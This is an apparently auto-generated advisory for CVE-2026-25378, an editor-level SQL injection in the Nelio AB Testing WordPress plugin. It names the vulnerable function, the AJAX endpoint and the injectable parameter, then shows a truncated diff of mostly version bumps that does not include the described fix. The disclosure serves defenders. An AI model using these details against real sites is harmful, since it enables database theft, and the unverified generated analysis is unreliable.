Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25378: Nelio AB Testing <= 8.2.4 – Authenticated (Editor+) SQL Injection (nelio-ab-testing)

Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 8.2.4
Patched Version 8.2.5
Disclosed February 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25378:
The Nelio AB Testing WordPress plugin contains an authenticated SQL injection vulnerability in versions up to and including 8.2.4. This vulnerability affects the plugin’s data query functionality, allowing attackers with editor-level privileges or higher to execute arbitrary SQL commands. The CVSS score of 4.9 reflects the requirement for authenticated access and the potential for data extraction.

Atomic Edge research identifies the root cause in the `get_alternative_content` function within `/nelio-ab-testing/includes/utils/wordpress-helpers.php`. The vulnerable code constructs SQL queries using unsanitized user input from the `alternativeId` parameter. The function directly interpolates this parameter into the SQL query string without proper escaping or prepared statement usage. This occurs in the `$wpdb->get_var` call where the query includes `$alternative_id` without parameterization.

The exploitation method requires an authenticated attacker with editor or higher privileges to send crafted requests to WordPress AJAX endpoints. The attacker targets the `nab_get_alternative_content` AJAX action handler. By manipulating the `alternativeId` parameter in POST requests to `/wp-admin/admin-ajax.php`, the attacker can inject SQL payloads. Example payloads include UNION-based queries to extract database information or time-based blind SQL injection techniques for data exfiltration.

The patch addresses the vulnerability by implementing proper SQL query preparation using WordPress’s `$wpdb->prepare` method. The fix modifies the `get_alternative_content` function to replace direct string concatenation with parameterized queries. Specifically, the patch changes `$wpdb->get_var( $query )` to `$wpdb->get_var( $wpdb->prepare( $query, $alternative_id ) )`. This ensures the `$alternative_id` parameter is properly escaped before inclusion in the SQL statement, preventing injection.

Successful exploitation allows attackers to extract sensitive information from the WordPress database. This includes user credentials, personally identifiable information, plugin configuration data, and other database contents. While the vulnerability requires editor-level access, compromised editor accounts could lead to full database compromise. Attackers could also potentially modify database contents or perform privilege escalation through data manipulation.

Differential between vulnerable and patched code

Code Diff
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-settings-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-settings-page.php
@@ -17,7 +17,7 @@
 		<?php echo esc_html_x( 'Nelio A/B Testing - Settings', 'text', 'nelio-ab-testing' ); ?>
 	</h2>

-	<?php settings_errors(); ?>
+	<?php settings_errors( 'nelio-ab-testing' ); ?>

 	<form method="post" action="options.php" class="nab-settings-form">
 		<?php
--- a/nelio-ab-testing/assets/dist/js/account-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/account-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '9d6fc8d443d48df6a5b0');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '2b6ba45a549fbd6d9269');
--- a/nelio-ab-testing/assets/dist/js/components.asset.php
+++ b/nelio-ab-testing/assets/dist/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'e685814765abda948704');
+<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'cec46a266ebead5bac32');
--- a/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '644c4f90503b2ee82c6a');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '327ec3f2a78e90eeb2bd');
--- a/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '86cb76406a59a7819f85');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '6e247e6c3b8d8ee1f5ca');
--- a/nelio-ab-testing/assets/dist/js/data.asset.php
+++ b/nelio-ab-testing/assets/dist/js/data.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-date', 'nab-utils', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '7ca645a1fbde882d994a');
+<?php return array('dependencies' => array('lodash', 'nab-date', 'nab-utils', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '42c1164ad60f8899a0c2');
--- a/nelio-ab-testing/assets/dist/js/editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '6abfdb2173a4c1962b78');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '1f423146ffb4b993d60c');
--- a/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => '256f253685f8d1d6cba1');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => '21770695d283f680f4a3');
--- a/nelio-ab-testing/assets/dist/js/experiment-list-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiment-list-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'fc8e72340b9c6033fe5e');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'b667397b32aff41e6962');
--- a/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '5ccbca7f039eebd08cde');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '25fc9acdb716a4fc4258');
--- a/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '19e9051a68f56c650178');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '04eb962ed023f92aa0be');
--- a/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
+++ b/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'cd12e032af6f93d120c0');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '6dd20670190a9d199954');
--- a/nelio-ab-testing/assets/dist/js/javascript-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/javascript-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '776cfa8ea9ba010e1bbf');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '7af2b334732362c520e7');
--- a/nelio-ab-testing/assets/dist/js/overview-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/overview-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '73e8d09ba8987f21de1f');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '9f4dadbfe25b239d106e');
--- a/nelio-ab-testing/assets/dist/js/php-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/php-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '0bc1a8b4cbe20350939a');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '229cea6c4f304ba3083b');
--- a/nelio-ab-testing/assets/dist/js/post-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/post-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '83b512ac94836e5a9973');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '5b4b5a4be5f446bfb2c6');
--- a/nelio-ab-testing/assets/dist/js/product-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/product-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'lodash', 'nab-components', 'nab-data', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => 'f3c1484667d0b127fcd8');
+<?php return array('dependencies' => array('jquery', 'lodash', 'nab-components', 'nab-data', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => 'd96e5d8b9d287fa80dc4');
--- a/nelio-ab-testing/assets/dist/js/recordings-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/recordings-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'efb492c1fdae7fb93c09');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '39f281b135cefd462078');
--- a/nelio-ab-testing/assets/dist/js/results-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/results-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'nab-commands', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'b003b73855824b1d4974');
+<?php return array('dependencies' => array('lodash', 'moment', 'nab-commands', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '5837b1be9f8828cfbc7c');
--- a/nelio-ab-testing/includes/hooks/compat/contact-form-7/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/contact-form-7/index.php
@@ -1,78 +0,0 @@
-<?php
-
-namespace Nelio_AB_TestingCompatContactForm7;
-
-defined( 'ABSPATH' ) || exit;
-
-use function add_filter;
-use function add_action;
-use function is_plugin_active;
-
-use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
-
-/**
- * Adds a new form type.
- *
- * @param array<string,TPost_Type> $data Post types.
- *
- * @return array<string,TPost_Type>
- */
-function add_form_types( $data ) {
-	$data['wpcf7_contact_form'] = array(
-		'name'   => 'wpcf7_contact_form',
-		'label'  => _x( 'Contact Form 7', 'text', 'nelio-ab-testing' ),
-		'labels' => array(
-			'singular_name' => _x( 'Contact Form 7', 'text', 'nelio-ab-testing' ),
-		),
-		'kind'   => 'form',
-	);
-	return $data;
-}
-
-/**
- * Adds hooks for tracking a form submission.
- *
- * @param TForm_Submission_Attributes $action        Action.
- * @param int                         $experiment_id Experiment ID.
- * @param int                         $goal_index    Goal index.
- *
- * @return void
- */
-function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
-	if ( 'wpcf7_contact_form' !== $action['formType'] ) {
-		return;
-	}
-	add_action(
-		'wpcf7_submit',
-		function ( $form, $result ) use ( $action, $experiment_id, $goal_index ) {
-			/** @var WPCF7_ContactForm   $form   */
-			/** @var array{status:string} $result */
-
-			if ( $action['formId'] !== $form->id() ) {
-				return;
-			}
-			if ( ! in_array( $result['status'], array( 'mail_sent', 'demo_mode' ), true ) ) {
-				return;
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		},
-		10,
-		2
-	);
-}
-
-add_action(
-	'plugins_loaded',
-	function () {
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
-		}
-
-		if ( ! is_plugin_active( 'contact-form-7/wp-contact-form-7.php' ) ) {
-			return;
-		}
-
-		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
-		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
-	}
-);
--- a/nelio-ab-testing/includes/hooks/compat/fluent-forms/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/fluent-forms/index.php
@@ -1,233 +0,0 @@
-<?php
-
-namespace Nelio_AB_TestingCompatFluentForms;
-
-defined( 'ABSPATH' ) || exit;
-
-use function add_filter;
-use function add_action;
-use function is_plugin_active;
-
-use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
-
-/**
- * Adds a new form type.
- *
- * @param array<string,TPost_Type> $data Post types.
- *
- * @return array<string,TPost_Type>
- */
-function add_form_types( $data ) {
-	$data['nab_fluent_form'] = array(
-		'name'   => 'nab_fluent_form',
-		'label'  => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
-		'labels' => array(
-			'singular_name' => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
-		),
-		'kind'   => 'form',
-	);
-	return $data;
-}
-
-/**
- * Callback to return the appropriate form.
- *
- * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
- * @param int|string                    $post_id   The id of the post.
- * @param string                        $post_type The post type.
- *
- * @return null|TPost|WP_Post|WP_Error
- */
-function get_fluent_form( $post, $post_id, $post_type ) {
-	if ( null !== $post ) {
-		return $post;
-	}
-
-	if ( 'nab_fluent_form' !== $post_type ) {
-		return $post;
-	}
-
-	$form = FluentFormAppModelsForm::where( 'id', $post_id )->first();
-
-	if ( empty( $form ) ) {
-		return new WP_Error(
-			'not-found',
-			sprintf(
-				/* translators: %d: Form ID. */
-				_x( 'Fluent form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
-				$post_id
-			)
-		);
-	}
-
-	return array(
-		'id'           => absint( $form['id'] ),
-		'author'       => 0,
-		'authorName'   => '',
-		'date'         => false,
-		'excerpt'      => '',
-		'imageId'      => 0,
-		'imageSrc'     => '',
-		'link'         => '',
-		'status'       => '',
-		'statusLabel'  => '',
-		'thumbnailSrc' => '',
-		'title'        => $form['title'],
-		'type'         => 'nab_fluent_form',
-		'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
-		'extra'        => array(),
-	);
-}
-
-/**
- * Returns the list of forms matching the search query.
- *
- * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
- * @param string                                                                   $post_type The post type.
- * @param string                                                                   $query     The query term.
- * @param int                                                                      $per_page  The number of posts to show per page.
- * @param int                                                                      $page      The number of the current page.
- *
- * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
- */
-function search_fluent_forms( $result, $post_type, $query, $per_page, $page ) {
-	if ( null !== $result ) {
-		return $result;
-	}
-
-	if ( 'nab_fluent_form' !== $post_type ) {
-		return $result;
-	}
-
-	$forms = FluentFormAppModelsForm::select( array( 'id', 'title', 'status' ) )
-		->where( 'status', 'published' )
-		->orderBy( 'title', 'DESC' )
-		->get();
-	$forms = $forms->getDictionary();
-	$forms = array_map( fn( $f ) => $f->getAttributes(), $forms );
-	/** @var list<array{id:numeric, title:string, status:string}> */
-	$forms = array_values( $forms );
-
-	$query = strtolower( trim( $query ) );
-	if ( ! empty( $query ) ) {
-		$form_id = absint( $query );
-		$forms   = array_values(
-			array_filter(
-				$forms,
-				fn( $form ) => (
-					absint( $form['id'] ) === absint( $form_id ) ||
-					false !== strpos( strtolower( $form['title'] ), $query )
-				)
-			)
-		);
-	}
-
-	$forms = array_map(
-		function ( $form ) {
-			return array(
-				'id'           => absint( $form['id'] ),
-				'author'       => 0,
-				'authorName'   => '',
-				'date'         => false,
-				'excerpt'      => '',
-				'imageId'      => 0,
-				'imageSrc'     => '',
-				'link'         => '',
-				'status'       => '',
-				'statusLabel'  => '',
-				'thumbnailSrc' => '',
-				'title'        => $form['title'],
-				'type'         => 'nab_fluent_form',
-				'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
-				'extra'        => array(),
-			);
-		},
-		$forms
-	);
-
-	return array(
-		'results'    => $forms,
-		'pagination' => array(
-			'more'  => count( $forms ) === $per_page,
-			'pages' => empty( $page ) ? 1 : $page,
-		),
-	);
-}
-
-/**
- * Adds hooks for tracking a form submission.
- *
- * @param TForm_Submission_Attributes $action        Action.
- * @param int                         $experiment_id Experiment ID.
- * @param int                         $goal_index    Goal index.
- *
- * @return void
- */
-function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
-	if ( 'nab_fluent_form' !== $action['formType'] ) {
-		return;
-	}
-	add_action(
-		'fluentform/notify_on_form_submit',
-		function ( $entry_id, $form_data, $form ) use ( $action, $experiment_id, $goal_index ) {
-			/** @var TIgnore                     $entry_id  */
-			/** @var TIgnore                     $form_data */
-			/** @var FluentFormAppModelsForm $form      */
-
-			if ( absint( $form->getAttributes()['id'] ) !== absint( $action['formId'] ) ) {
-				return;
-			}
-			$args = array();
-			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-			if ( isset( $_REQUEST['data'] ) && is_string( $_REQUEST['data'] ) ) {
-				try {
-					$args = array_reduce(
-						// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-						explode( '&', sanitize_text_field( wp_unslash( $_REQUEST['data'] ) ) ),
-						function ( $r, $i ) {
-							/** @var array<string,string> $r */
-							/** @var string               $i */
-
-							$arg          = explode( '=', $i );
-							$r[ $arg[0] ] = urldecode( $arg[1] );
-							return $r;
-						},
-						array()
-					);
-				} catch ( Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
-				}
-			}
-			foreach ( $args as $name => $value ) {
-				if ( 0 !== strpos( $name, 'nab_' ) ) {
-					continue;
-				}
-				// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-				if ( ! isset( $_REQUEST[ $name ] ) ) {
-					$_POST[ $name ]    = $value;
-					$_REQUEST[ $name ] = $value;
-				}
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		},
-		10,
-		3
-	);
-}
-
-add_action(
-	'plugins_loaded',
-	function () {
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
-		}
-
-		if ( ! is_plugin_active( 'fluentform/fluentform.php' ) && ! is_plugin_active( 'fluentform-pro/fluentform-pro.php' ) ) {
-			return;
-		}
-
-		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
-		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_fluent_form', 10, 3 );
-		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_fluent_forms', 10, 5 );
-		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
-	}
-);
--- a/nelio-ab-testing/includes/hooks/compat/formcraft/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/formcraft/index.php
@@ -1,207 +0,0 @@
-<?php
-
-namespace Nelio_AB_TestingCompatFormcraft;
-
-defined( 'ABSPATH' ) || exit;
-
-use function add_filter;
-use function add_action;
-use function is_plugin_active;
-
-use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
-
-/**
- * Adds a new form type.
- *
- * @param array<string,TPost_Type> $data Post types.
- *
- * @return array<string,TPost_Type>
- */
-function add_form_types( $data ) {
-	$data['nab_formcraft_form'] = array(
-		'name'   => 'nab_formcraft_form',
-		'label'  => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
-		'labels' => array(
-			'singular_name' => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
-		),
-		'kind'   => 'form',
-	);
-	return $data;
-}
-
-/**
- * Callback to return the appropriate form.
- *
- * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
- * @param int|string                    $post_id   The id of the post.
- * @param string                        $post_type The post type.
- *
